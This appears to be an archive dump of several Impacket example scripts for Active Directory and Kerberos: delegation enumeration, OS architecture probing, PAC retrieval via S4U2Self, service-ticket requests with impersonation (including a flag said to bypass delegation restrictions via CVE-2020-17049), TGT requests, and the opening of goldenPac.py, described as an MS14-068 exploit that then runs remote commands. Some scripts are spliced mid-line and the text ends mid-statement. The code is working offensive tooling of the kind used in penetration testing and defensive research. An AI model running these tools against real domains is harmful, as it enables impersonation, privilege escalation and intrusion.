target has no ACL to connect to " "this endpoint using RPC Proxy") logging.critical("Is the server a MS Exchange?") if options.rpc_hostname == '': logging.critical("Try to specify -rpc-hostname (see description in the " "beggining of this file)") else: logging.critical("Try to specify different -rpc-hostname, or enumerate " "endpoints via rpcmap.py / rpcdump.py") # It's Exchange or Exchange behind TMG, but the RPC Server name is wrong if RPC_PROXY_RPC_OUT_DATA_404_ERR in error_text or \ RPC_PROXY_CONN_A1_404_ERR in error_text: if options.rpc_hostname == '': logging.critical("Cannot determine the right RPC Server name. Specify -rpc-hostname " "(see description in the beggining of this file)") else: logging.critical("The specified RPC Server is incorrect. " "Try to specify different -rpc-hostname") if RPC_PROXY_REMOTE_NAME_NEEDED_ERR in error_text: logging.critical("Specify -rpc-hostname (see description in the beggining of this file)") # Wrong credentials if RPC_PROXY_HTTP_IN_DATA_401_ERR in error_text or RPC_PROXY_CONN_A1_401_ERR in error_text: logging.critical("Wrong credentials!") # Show a reminder if Basic if RPC_PROXY_HTTP_IN_DATA_401_ERR in error_text or RPC_PROXY_CONN_A1_401_ERR in error_text: if exchHelper.exch._rpctransport.get_auth_type() == AUTH_BASIC and domain == '': logging.critical("The server requested Basic authentication which " "may require you to specify the domain. " "Your domain is empty!") if RPC_PROXY_CONN_A1_401_ERR in error_text or \ RPC_PROXY_CONN_A1_404_ERR in error_text: logging.info("A proxy in front of the target server detected (may be WAF / SIEM)") impacket-impacket_0_11_0/examples/findDelegation.py000077500000000000000000000376671446174712300225500ustar00rootroot00000000000000#!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # # Copyright (C) 2023 Fortra. All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # Description: # This module will try to find all delegation relationships in a given domain. # Delegation relationships can provide info on specific users and systems to target, # as access to these systems will grant access elsewhere also. # Unconstrained, constrained, and resource-based constrained delegation types are queried # for and displayed. # # Author: # Dave Cossa (@G0ldenGunSec) # Based on GetUserSPNs.py by Alberto Solino (@agsolino) # from __future__ import division from __future__ import print_function import argparse import logging import sys from impacket import version from impacket.dcerpc.v5.samr import UF_ACCOUNTDISABLE, UF_TRUSTED_FOR_DELEGATION, UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION from impacket.examples import logger from impacket.examples.utils import parse_credentials from impacket.ldap import ldap, ldapasn1 from impacket.ldap import ldaptypes from impacket.smbconnection import SMBConnection, SessionError class FindDelegation: @staticmethod def printTable(items, header): colLen = [] for i, col in enumerate(header): rowMaxLen = max([len(row[i]) for row in items]) colLen.append(max(rowMaxLen, len(col))) outputFormat = ' '.join(['{%d:%ds} ' % (num, width) for num, width in enumerate(colLen)]) # Print header print(outputFormat.format(*header)) print(' '.join(['-' * itemLen for itemLen in colLen])) # And now the rows for row in items: print(outputFormat.format(*row)) def __init__(self, username, password, user_domain, target_domain, cmdLineOptions): self.__username = username self.__password = password self.__domain = user_domain self.__target = None self.__targetDomain = target_domain self.__lmhash = '' self.__nthash = '' self.__aesKey = cmdLineOptions.aesKey self.__doKerberos = cmdLineOptions.k #[!] in this script the value of -dc-ip option is self.__kdcIP and the value of -dc-host option is self.__kdcHost self.__kdcIP = cmdLineOptions.dc_ip self.__kdcHost = cmdLineOptions.dc_host if cmdLineOptions.hashes is not None: self.__lmhash, self.__nthash = cmdLineOptions.hashes.split(':') # Create the baseDN domainParts = self.__targetDomain.split('.') self.baseDN = '' for i in domainParts: self.baseDN += 'dc=%s,' % i # Remove last ',' self.baseDN = self.baseDN[:-1] # We can't set the KDC to a custom IP or Hostname when requesting things cross-domain # because then the KDC host will be used for both # the initial and the referral ticket, which breaks stuff. if user_domain != self.__targetDomain and (self.__kdcIP or self.__kdcHost): logging.warning('KDC IP address and hostname will be ignored because of cross-domain targeting.') self.__kdcIP = None self.__kdcHost = None def getMachineName(self, target): try: s = SMBConnection(target, target) s.login('', '') except OSError as e: if str(e).find('timed out') > 0: raise Exception('The connection is timed out. Probably 445/TCP port is closed. Try to specify ' 'corresponding NetBIOS name or FQDN as the value of the -dc-host option.') else: raise except SessionError as e: if str(e).find('STATUS_NOT_SUPPORTED') > 0: raise Exception('The SMB request is not supported. Probably NTLM is disabled. Try to specify ' 'corresponding NetBIOS name or FQDN as the value of the -dc-host option.') else: raise except Exception: if s.getServerName() == '': raise Exception('Error while anonymous logging into %s' % target) else: s.logoff() return "%s.%s" % (s.getServerName(), s.getServerDNSDomainName()) def run(self): if self.__kdcHost is not None and self.__targetDomain == self.__domain: self.__target = self.__kdcHost else: if self.__kdcIP is not None and self.__targetDomain == self.__domain: self.__target = self.__kdcIP else: self.__target = self.__targetDomain if self.__doKerberos: logging.info('Getting machine hostname') self.__target = self.getMachineName(self.__target) # Connect to LDAP try: ldapConnection = ldap.LDAPConnection('ldap://%s' % self.__target, self.baseDN, self.__kdcIP) if self.__doKerberos is not True: ldapConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) else: ldapConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, kdcHost=self.__kdcIP) except ldap.LDAPSessionError as e: if str(e).find('strongerAuthRequired') >= 0: # We need to try SSL ldapConnection = ldap.LDAPConnection('ldaps://%s' % self.__target, self.baseDN, self.__kdcIP) if self.__doKerberos is not True: ldapConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) else: ldapConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, kdcHost=self.__kdcIP) else: if str(e).find('NTLMAuthNegotiate') >= 0: logging.critical("NTLM negotiation failed. Probably NTLM is disabled. Try to use Kerberos " "authentication instead") else: if self.__kdcIP is not None and self.__kdcHost is not None: logging.critical("If the credentials are valid, check the hostname and IP address of KDC. They " "must match exactly each other") raise searchFilter = "(&(|(UserAccountControl:1.2.840.113556.1.4.803:=16777216)(UserAccountControl:1.2.840.113556.1.4.803:=" \ "524288)(msDS-AllowedToDelegateTo=*)(msDS-AllowedToActOnBehalfOfOtherIdentity=*))" \ "(!(UserAccountControl:1.2.840.113556.1.4.803:=2))(!(UserAccountControl:1.2.840.113556.1.4.803:=8192)))" try: resp = ldapConnection.search(searchFilter=searchFilter, attributes=['sAMAccountName', 'pwdLastSet', 'userAccountControl', 'objectCategory', 'msDS-AllowedToActOnBehalfOfOtherIdentity', 'msDS-AllowedToDelegateTo'], sizeLimit=999) except ldap.LDAPSearchError as e: if e.getErrorString().find('sizeLimitExceeded') >= 0: logging.debug('sizeLimitExceeded exception caught, giving up and processing the data received') # We reached the sizeLimit, process the answers we have already and that's it. Until we implement # paged queries resp = e.getAnswers() pass else: raise answers = [] logging.debug('Total of records returned %d' % len(resp)) for item in resp: if isinstance(item, ldapasn1.SearchResultEntry) is not True: continue mustCommit = False sAMAccountName = '' userAccountControl = 0 delegation = '' objectType = '' rightsTo = [] protocolTransition = 0 #after receiving responses we parse through to determine the type of delegation configured on each object try: for attribute in item['attributes']: if str(attribute['type']) == 'sAMAccountName': sAMAccountName = str(attribute['vals'][0]) mustCommit = True elif str(attribute['type']) == 'userAccountControl': userAccountControl = str(attribute['vals'][0]) if int(userAccountControl) & UF_TRUSTED_FOR_DELEGATION: delegation = 'Unconstrained' rightsTo.append("N/A") elif int(userAccountControl) & UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION: delegation = 'Constrained w/ Protocol Transition' protocolTransition = 1 elif str(attribute['type']) == 'objectCategory': objectType = str(attribute['vals'][0]).split('=')[1].split(',')[0] elif str(attribute['type']) == 'msDS-AllowedToDelegateTo': if protocolTransition == 0: delegation = 'Constrained' for delegRights in attribute['vals']: rightsTo.append(str(delegRights)) #not an elif as an object could both have rbcd and another type of delegation configured for the same object if str(attribute['type']) == 'msDS-AllowedToActOnBehalfOfOtherIdentity': rbcdRights = [] rbcdObjType = [] searchFilter = '(&(|' sd = ldaptypes.SR_SECURITY_DESCRIPTOR(data=bytes(attribute['vals'][0])) for ace in sd['Dacl'].aces: searchFilter = searchFilter + "(objectSid="+ace['Ace']['Sid'].formatCanonical()+")" searchFilter = searchFilter + ")(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))" delegUserResp = ldapConnection.search(searchFilter=searchFilter,attributes=['sAMAccountName', 'objectCategory'],sizeLimit=999) for item2 in delegUserResp: if isinstance(item2, ldapasn1.SearchResultEntry) is not True: continue rbcdRights.append(str(item2['attributes'][0]['vals'][0])) rbcdObjType.append(str(item2['attributes'][1]['vals'][0]).split('=')[1].split(',')[0]) if mustCommit is True: if int(userAccountControl) & UF_ACCOUNTDISABLE: logging.debug('Bypassing disabled account %s ' % sAMAccountName) else: for rights, objType in zip(rbcdRights,rbcdObjType): answers.append([rights, objType, 'Resource-Based Constrained', sAMAccountName]) #print unconstrained + constrained delegation relationships if delegation in ['Unconstrained', 'Constrained', 'Constrained w/ Protocol Transition']: if mustCommit is True: if int(userAccountControl) & UF_ACCOUNTDISABLE: logging.debug('Bypassing disabled account %s ' % sAMAccountName) else: for rights in rightsTo: answers.append([sAMAccountName, objectType, delegation, rights]) except Exception as e: logging.error('Skipping item, cannot process due to error %s' % str(e)) pass if len(answers)>0: self.printTable(answers, header=[ "AccountName", "AccountType", "DelegationType", "DelegationRightsTo"]) print('\n\n') else: print("No entries found!") # Process command-line arguments. if __name__ == '__main__': print(version.BANNER) parser = argparse.ArgumentParser(add_help = True, description = "Queries target domain for delegation relationships ") parser.add_argument('target', action='store', help='domain[/username[:password]]') parser.add_argument('-target-domain', action='store', help='Domain to query/request if different than the domain of the user. ' 'Allows for retrieving delegation info across trusts.') parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') group = parser.add_argument_group('authentication') group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file ' '(KRB5CCNAME) based on target parameters. If valid credentials ' 'cannot be found, it will use the ones specified in the command ' 'line') group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication ' '(128 or 256 bits)') group = parser.add_argument_group('connection') group.add_argument('-dc-ip', action='store', metavar='ip address', help='IP Address of the domain controller. If ' 'ommited it use the domain part (FQDN) ' 'specified in the target parameter. Ignored' 'if -target-domain is specified.') group.add_argument('-dc-host', action='store', metavar='hostname', help='Hostname of the domain controller to use. ' 'If ommited, the domain part (FQDN) ' 'specified in the account parameter will be used') if len(sys.argv)==1: parser.print_help() sys.exit(1) options = parser.parse_args() # Init the example's logger theme logger.init(options.ts) if options.debug is True: logging.getLogger().setLevel(logging.DEBUG) # Print the Library's installation path logging.debug(version.getInstallationPath()) else: logging.getLogger().setLevel(logging.INFO) userDomain, username, password = parse_credentials(options.target) if userDomain == '': logging.critical('userDomain should be specified!') sys.exit(1) if options.target_domain: targetDomain = options.target_domain else: targetDomain = userDomain if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: from getpass import getpass password = getpass("Password:") if options.aesKey is not None: options.k = True try: executer = FindDelegation(username, password, userDomain, targetDomain, options) executer.run() except Exception as e: if logging.getLogger().level == logging.DEBUG: import traceback traceback.print_exc() logging.error(str(e)) impacket-impacket_0_11_0/examples/getArch.py000077500000000000000000000104131446174712300211650ustar00rootroot00000000000000#!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # # Copyright (C) 2023 Fortra. All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # Description: # This script will connect against a target (or list of targets) machine/s and gather the OS architecture type # installed. # The trick has been discovered many years ago and is actually documented by Microsoft here: # https://msdn.microsoft.com/en-us/library/cc243948.aspx#Appendix_A_53 # and doesn't require any authentication at all. # # Have in mind this trick will *not* work if the target system is running Samba. Don't know what happens with macOS. # # Author: # beto (@agsolino) # # Reference for: # RPCRT, NDR # from __future__ import division from __future__ import print_function import argparse import logging import sys from impacket import version from impacket.examples import logger from impacket.dcerpc.v5.rpcrt import DCERPCException from impacket.dcerpc.v5.transport import DCERPCTransportFactory from impacket.dcerpc.v5.epm import MSRPC_UUID_PORTMAP class TARGETARCH: def __init__(self, options): self.__machinesList = list() self.__options = options self.NDR64Syntax = ('71710533-BEBA-4937-8319-B5DBEF9CCC36', '1.0') def run(self): if self.__options.targets is not None: for line in self.__options.targets.readlines(): self.__machinesList.append(line.strip(' \r\n')) else: self.__machinesList.append(self.__options.target) logging.info('Gathering OS architecture for %d machines' % len(self.__machinesList)) logging.info('Socket connect timeout set to %s secs' % self.__options.timeout) for machine in self.__machinesList: try: stringBinding = r'ncacn_ip_tcp:%s[135]' % machine transport = DCERPCTransportFactory(stringBinding) transport.set_connect_timeout(int(self.__options.timeout)) dce = transport.get_dce_rpc() dce.connect() try: dce.bind(MSRPC_UUID_PORTMAP, transfer_syntax=self.NDR64Syntax) except DCERPCException as e: if str(e).find('syntaxes_not_supported') >= 0: print('%s is 32-bit' % machine) else: logging.error(str(e)) pass else: print('%s is 64-bit' % machine) dce.disconnect() except Exception as e: #import traceback #traceback.print_exc() logging.error('%s: %s' % (machine, str(e))) # Process command-line arguments. if __name__ == '__main__': # Init the example's logger theme logger.init() print(version.BANNER) parser = argparse.ArgumentParser(add_help = True, description = "Gets the target system's OS architecture version") parser.add_argument('-target', action='store', help='') parser.add_argument('-targets', type=argparse.FileType('r'), help='input file with targets system to query Arch ' 'from (one per line). ') parser.add_argument('-timeout', action='store', default='2', help='socket timeout out when connecting to the target (default 2 sec)') parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') if len(sys.argv)==1: parser.print_help() sys.exit(1) options = parser.parse_args() if options.target is None and options.targets is None: logging.error('You have to specify a target!') sys.exit(1) if options.debug is True: logging.getLogger().setLevel(logging.DEBUG) # Print the Library's installation path logging.debug(version.getInstallationPath()) else: logging.getLogger().setLevel(logging.INFO) try: getArch = TARGETARCH(options) getArch.run() except (Exception, KeyboardInterrupt) as e: if logging.getLogger().level == logging.DEBUG: import traceback traceback.print_exc() logging.error(str(e)) sys.exit(0) impacket-impacket_0_11_0/examples/getPac.py000077500000000000000000000324601446174712300210210ustar00rootroot00000000000000#!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # # Copyright (C) 2023 Fortra. All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # Description: # This script will get the PAC of the specified target user just having a normal authenticated user credentials. # It does so by using a mix of [MS-SFU]'s S4USelf + User to User Kerberos Authentication. # Original idea (or accidental discovery :) ) of adding U2U capabilities inside a S4USelf by Benjamin Delpy (@gentilkiwi) # # Author: # Alberto Solino (@agsolino) # # References: # - U2U: https://tools.ietf.org/html/draft-ietf-cat-user2user-02 # - [MS-SFU]: https://msdn.microsoft.com/en-us/library/cc246071.aspx # from __future__ import division from __future__ import print_function import argparse import datetime import logging import random import re import struct import sys from binascii import unhexlify from six import b from pyasn1.codec.der import decoder, encoder from pyasn1.type.univ import noValue from impacket import version from impacket.dcerpc.v5.rpcrt import TypeSerialization1 from impacket.examples import logger from impacket.examples.utils import parse_credentials from impacket.krb5 import constants from impacket.krb5.asn1 import AP_REQ, AS_REP, TGS_REQ, Authenticator, TGS_REP, seq_set, seq_set_iter, PA_FOR_USER_ENC, \ EncTicketPart, AD_IF_RELEVANT, Ticket as TicketAsn1 from impacket.krb5.crypto import Key, _enctype_table, _HMACMD5, Enctype from impacket.krb5.kerberosv5 import getKerberosTGT, sendReceive from impacket.krb5.pac import PACTYPE, PAC_INFO_BUFFER, KERB_VALIDATION_INFO, PAC_CLIENT_INFO_TYPE, PAC_CLIENT_INFO, \ PAC_SERVER_CHECKSUM, PAC_SIGNATURE_DATA, PAC_PRIVSVR_CHECKSUM, PAC_UPN_DNS_INFO, UPN_DNS_INFO from impacket.krb5.types import Principal, KerberosTime, Ticket from impacket.winregistry import hexdump class S4U2SELF: def printPac(self, data): encTicketPart = decoder.decode(data, asn1Spec=EncTicketPart())[0] adIfRelevant = decoder.decode(encTicketPart['authorization-data'][0]['ad-data'], asn1Spec=AD_IF_RELEVANT())[ 0] # So here we have the PAC pacType = PACTYPE(adIfRelevant[0]['ad-data'].asOctets()) buff = pacType['Buffers'] for bufferN in range(pacType['cBuffers']): infoBuffer = PAC_INFO_BUFFER(buff) data = pacType['Buffers'][infoBuffer['Offset']-8:][:infoBuffer['cbBufferSize']] if logging.getLogger().level == logging.DEBUG: print("TYPE 0x%x" % infoBuffer['ulType']) if infoBuffer['ulType'] == 1: type1 = TypeSerialization1(data) # I'm skipping here 4 bytes with its the ReferentID for the pointer newdata = data[len(type1)+4:] kerbdata = KERB_VALIDATION_INFO() kerbdata.fromString(newdata) kerbdata.fromStringReferents(newdata[len(kerbdata.getData()):]) kerbdata.dump() print() print('Domain SID:', kerbdata['LogonDomainId'].formatCanonical()) print() elif infoBuffer['ulType'] == PAC_CLIENT_INFO_TYPE: clientInfo = PAC_CLIENT_INFO(data) if logging.getLogger().level == logging.DEBUG: clientInfo.dump() print() elif infoBuffer['ulType'] == PAC_SERVER_CHECKSUM: signatureData = PAC_SIGNATURE_DATA(data) if logging.getLogger().level == logging.DEBUG: signatureData.dump() print() elif infoBuffer['ulType'] == PAC_PRIVSVR_CHECKSUM: signatureData = PAC_SIGNATURE_DATA(data) if logging.getLogger().level == logging.DEBUG: signatureData.dump() print() elif infoBuffer['ulType'] == PAC_UPN_DNS_INFO: upn = UPN_DNS_INFO(data) if logging.getLogger().level == logging.DEBUG: upn.dump() print(data[upn['DnsDomainNameOffset']:]) print() else: hexdump(data) if logging.getLogger().level == logging.DEBUG: print("#"*80) buff = buff[len(infoBuffer):] def __init__(self, behalfUser, username = '', password = '', domain='', hashes = None): self.__username = username self.__password = password self.__domain = domain.upper() self.__behalfUser = behalfUser self.__lmhash = '' self.__nthash = '' if hashes is not None: self.__lmhash, self.__nthash = hashes.split(':') def dump(self): # Try all requested protocols until one works. userName = Principal(self.__username, type=constants.PrincipalNameType.NT_PRINCIPAL.value) tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain, unhexlify(self.__lmhash), unhexlify(self.__nthash)) decodedTGT = decoder.decode(tgt, asn1Spec = AS_REP())[0] # Extract the ticket from the TGT ticket = Ticket() ticket.from_asn1(decodedTGT['ticket']) apReq = AP_REQ() apReq['pvno'] = 5 apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) opts = list() apReq['ap-options'] = constants.encodeFlags(opts) seq_set(apReq,'ticket', ticket.to_asn1) authenticator = Authenticator() authenticator['authenticator-vno'] = 5 authenticator['crealm'] = str(decodedTGT['crealm']) clientName = Principal() clientName.from_asn1( decodedTGT, 'crealm', 'cname') seq_set(authenticator, 'cname', clientName.components_to_asn1) now = datetime.datetime.utcnow() authenticator['cusec'] = now.microsecond authenticator['ctime'] = KerberosTime.to_asn1(now) if logging.getLogger().level == logging.DEBUG: logging.debug('AUTHENTICATOR') print(authenticator.prettyPrint()) print ('\n') encodedAuthenticator = encoder.encode(authenticator) # Key Usage 7 # TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes # TGS authenticator subkey), encrypted with the TGS session # key (Section 5.5.1) encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None) apReq['authenticator'] = noValue apReq['authenticator']['etype'] = cipher.enctype apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator encodedApReq = encoder.encode(apReq) tgsReq = TGS_REQ() tgsReq['pvno'] = 5 tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value) tgsReq['padata'] = noValue tgsReq['padata'][0] = noValue tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value) tgsReq['padata'][0]['padata-value'] = encodedApReq # In the S4U2self KRB_TGS_REQ/KRB_TGS_REP protocol extension, a service # requests a service ticket to itself on behalf of a user. The user is # identified to the KDC by the user's name and realm. clientName = Principal(self.__behalfUser, type=constants.PrincipalNameType.NT_PRINCIPAL.value) S4UByteArray = struct.pack('= 0: logging.error('Probably user %s does not have constrained delegation permisions or impersonated user does not exist' % self.__user) if str(e).find('KDC_ERR_BADOPTION') >= 0: logging.error('Probably SPN is not allowed to delegate by user %s or initial TGT not forwardable' % self.__user) return self.__saveFileName = self.__options.impersonate self.saveTicket(tgs, oldSessionKey) if __name__ == '__main__': print(version.BANNER) parser = argparse.ArgumentParser(add_help=True, description="Given a password, hash or aesKey, it will request a " "Service Ticket and save it as ccache") parser.add_argument('identity', action='store', help='[domain/]username[:password]') parser.add_argument('-spn', action="store", required=True, help='SPN (service/server) of the target service the ' 'service ticket will' ' be generated for') parser.add_argument('-impersonate', action="store", help='target username that will be impersonated (thru S4U2Self)' ' for quering the ST. Keep in mind this will only work if ' 'the identity provided in this scripts is allowed for ' 'delegation to the SPN specified') parser.add_argument('-additional-ticket', action='store', metavar='ticket.ccache', help='include a forwardable service ticket in a S4U2Proxy request for RBCD + KCD Kerberos only') parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') parser.add_argument('-force-forwardable', action='store_true', help='Force the service ticket obtained through ' 'S4U2Self to be forwardable. For best results, the -hashes and -aesKey values for the ' 'specified -identity should be provided. This allows impresonation of protected users ' 'and bypass of "Kerberos-only" constrained delegation restrictions. See CVE-2020-17049') group = parser.add_argument_group('authentication') group.add_argument('-hashes', action="store", metavar="LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file ' '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ' 'ones specified in the command line') group.add_argument('-aesKey', action="store", metavar="hex key", help='AES key to use for Kerberos Authentication ' '(128 or 256 bits)') group.add_argument('-dc-ip', action='store', metavar="ip address", help='IP Address of the domain controller. If ' 'ommited it use the domain part (FQDN) specified in the target parameter') if len(sys.argv) == 1: parser.print_help() print("\nExamples: ") print("\t./getST.py -spn cifs/contoso-dc -hashes lm:nt contoso.com/user\n") print("\tit will use the lm:nt hashes for authentication. If you don't specify them, a password will be asked") sys.exit(1) options = parser.parse_args() # Init the example's logger theme logger.init(options.ts) if options.debug is True: logging.getLogger().setLevel(logging.DEBUG) # Print the Library's installation path logging.debug(version.getInstallationPath()) else: logging.getLogger().setLevel(logging.INFO) domain, username, password = parse_credentials(options.identity) try: if domain is None: logging.critical('Domain should be specified!') sys.exit(1) if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: from getpass import getpass password = getpass("Password:") if options.aesKey is not None: options.k = True executer = GETST(username, password, domain, options) executer.run() except Exception as e: if logging.getLogger().level == logging.DEBUG: import traceback traceback.print_exc() print(str(e)) impacket-impacket_0_11_0/examples/getTGT.py000077500000000000000000000117011446174712300207470ustar00rootroot00000000000000#!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # # Copyright (C) 2023 Fortra. All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # Description: # Given a password, hash or aesKey, it will request a TGT and save it as ccache # # Examples: # ./getTGT.py -hashes lm:nt contoso.com/user # # Author: # Alberto Solino (@agsolino) # from __future__ import division from __future__ import print_function import argparse import logging import sys from binascii import unhexlify from impacket import version from impacket.examples import logger from impacket.examples.utils import parse_credentials from impacket.krb5.kerberosv5 import getKerberosTGT from impacket.krb5 import constants from impacket.krb5.types import Principal class GETTGT: def __init__(self, target, password, domain, options): self.__password = password self.__user= target self.__domain = domain self.__lmhash = '' self.__nthash = '' self.__aesKey = options.aesKey self.__options = options self.__kdcHost = options.dc_ip if options.hashes is not None: self.__lmhash, self.__nthash = options.hashes.split(':') def saveTicket(self, ticket, sessionKey): logging.info('Saving ticket in %s' % (self.__user + '.ccache')) from impacket.krb5.ccache import CCache ccache = CCache() ccache.fromTGT(ticket, sessionKey, sessionKey) ccache.saveFile(self.__user + '.ccache') def run(self): userName = Principal(self.__user, type=constants.PrincipalNameType.NT_PRINCIPAL.value) tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain, unhexlify(self.__lmhash), unhexlify(self.__nthash), self.__aesKey, self.__kdcHost) self.saveTicket(tgt,oldSessionKey) if __name__ == '__main__': print(version.BANNER) parser = argparse.ArgumentParser(add_help=True, description="Given a password, hash or aesKey, it will request a " "TGT and save it as ccache") parser.add_argument('identity', action='store', help='[domain/]username[:password]') parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') group = parser.add_argument_group('authentication') group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file ' '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ' 'ones specified in the command line') group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication ' '(128 or 256 bits)') group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If ' 'ommited it use the domain part (FQDN) specified in the target parameter') if len(sys.argv)==1: parser.print_help() print("\nExamples: ") print("\t./getTGT.py -hashes lm:nt contoso.com/user\n") print("\tit will use the lm:nt hashes for authentication. If you don't specify them, a password will be asked") sys.exit(1) options = parser.parse_args() # Init the example's logger theme logger.init(options.ts) if options.debug is True: logging.getLogger().setLevel(logging.DEBUG) # Print the Library's installation path logging.debug(version.getInstallationPath()) else: logging.getLogger().setLevel(logging.INFO) domain, username, password = parse_credentials(options.identity) try: if domain is None: logging.critical('Domain should be specified!') sys.exit(1) if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: from getpass import getpass password = getpass("Password:") if options.aesKey is not None: options.k = True executer = GETTGT(username, password, domain, options) executer.run() except Exception as e: if logging.getLogger().level == logging.DEBUG: import traceback traceback.print_exc() print(str(e)) impacket-impacket_0_11_0/examples/goldenPac.py000077500000000000000000001401141446174712300215060ustar00rootroot00000000000000#!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # # Copyright (C) 2023 Fortra. All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # Description: # MS14-068 Exploit. Kudos to @BiDOrD for pulling it up first! # Well done :). # This one also established a SMBConnection and PSEXEcs the # target. # A few important things: # 1) you must use the domain FQDN or use -dc-ip switch # 2) target must be a FQDN as well and matching the target's NetBIOS # 3) Just RC4 at the moment - DONE (aes256 added) # 4) It won't work on Kerberos-only Domains (but can be fixed) # 5) Use WMIEXEC approach instead # # E.G: # python goldenPac domain.net/normaluser@domain-host # the password will be asked, or # # python goldenPac.py domain.net/normaluser:mypwd@domain-host # # if domain.net and/or domain-host do not resolve, add them # to the hosts file or use the -dc-ip and -target-ip parameters # # Author: # Alberto Solino (@agsolino) # from __future__ import division from __future__ import print_function import cmd import logging import os import random import string import time from binascii import unhexlify from threading import Thread, Lock from six import PY3 from impacket.dcerpc.v5 import epm from impacket.dcerpc.v5.drsuapi import MSRPC_UUID_DRSUAPI, hDRSDomainControllerInfo, DRSBind, NTDSAPI_CLIENT_GUID, \ DRS_EXTENSIONS_INT, DRS_EXT_GETCHGREQ_V6, DRS_EXT_GETCHGREPLY_V6, DRS_EXT_GETCHGREQ_V8, DRS_EXT_STRONG_ENCRYPTION, \ NULLGUID from impacket.dcerpc.v5.dtypes import RPC_SID, MAXIMUM_ALLOWED from impacket.dcerpc.v5.lsad import hLsarQueryInformationPolicy2, POLICY_INFORMATION_CLASS, hLsarOpenPolicy2 from impacket.dcerpc.v5.lsat import MSRPC_UUID_LSAT, POLICY_LOOKUP_NAMES from impacket.dcerpc.v5.nrpc import MSRPC_UUID_NRPC, hDsrGetDcNameEx from impacket.dcerpc.v5.rpcrt import TypeSerialization1, RPC_C_AUTHN_LEVEL_PKT_INTEGRITY, RPC_C_AUTHN_LEVEL_PKT_PRIVACY from impacket.krb5.pac import PKERB_VALIDATION_INFO, KERB_VALIDATION_INFO, KERB_SID_AND_ATTRIBUTES, PAC_CLIENT_INFO, \ PAC_SIGNATURE_DATA, PAC_INFO_BUFFER, PAC_LOGON_INFO, PAC_CLIENT_INFO_TYPE, PAC_SERVER_CHECKSUM, \ PAC_PRIVSVR_CHECKSUM, PACTYPE from impacket.examples import logger from impacket.examples.utils import parse_target from impacket.examples import remcomsvc, serviceinstall from impacket.smbconnection import SMBConnection, smb from impacket.structure import Structure ################################################################################ # HELPER FUNCTIONS ################################################################################ def getFileTime(t): t *= 10000000 t += 116444736000000000 return t class RemComMessage(Structure): structure = ( ('Command','4096s=""'), ('WorkingDir','260s=""'), ('Priority',' 0: try: s.waitNamedPipe(tid,pipe) pipeReady = True except Exception as e: print(str(e)) tries -= 1 time.sleep(2) pass if tries == 0: raise Exception('Pipe not ready, aborting') fid = s.openFile(tid,pipe,accessMask, creationOption = 0x40, fileAttributes = 0x80) return fid class Pipes(Thread): def __init__(self, transport, pipe, permissions, TGS=None, share=None): Thread.__init__(self) self.server = 0 self.transport = transport self.credentials = transport.get_credentials() self.tid = 0 self.fid = 0 self.share = share self.port = transport.get_dport() self.pipe = pipe self.permissions = permissions self.TGS = TGS self.daemon = True def connectPipe(self): try: lock.acquire() global dialect self.server = SMBConnection('*SMBSERVER', 